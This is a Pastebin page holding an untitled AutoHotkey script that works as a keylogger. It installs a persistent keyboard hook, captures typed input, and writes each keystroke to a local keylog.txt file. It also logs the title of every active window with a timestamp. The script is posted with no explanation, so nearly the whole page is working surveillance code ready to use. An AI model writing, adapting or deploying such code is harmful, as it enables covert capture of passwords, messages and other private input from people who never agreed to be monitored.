Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4. #Persistent
  5. #InstallKeybdHook
  6.  
  7.  
  8.  
  9. oldtitle=nothing
  10. Loop
  11. {
  12.   Input, UserInput, V C, {enter}.{esc}{Space}{tab}{Left}{Right}{Up}{Down}{Home}{End}
  13.   tvar:=Errorlevel
  14.   WinGetActiveTitle, watitle
  15.   if (watitle != oldtitle and watitle != "")
  16.   {
  17.     FileAppend, `n`n-------- %watitle% --------`n, keylog.txt
  18.     FormatTime, CurrentDateTime,, MM-dd-yyyy  hh:mm:ss tt
  19.     FileAppend, --------%CurrentDateTime% --------`n,keylog.txt
  20.     oldtitle = %watitle%
  21.   }
  22.   IfInString, tvar, EndKey:
  23.  {
  24.     StringSplit,endkey,tvar,`:
  25.     if endkey2=Enter
  26.       FileAppend, %UserInput%`n, keylog.txt
  27.     else if endkey2=Space
  28.       FileAppend, %UserInput%%A_space%, keylog.txt
  29.     else
  30.       FileAppend, %UserInput%%A_space%[%endkey2%]%A_space%, keylog.txt
  31.   }
  32. }
  33. return
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement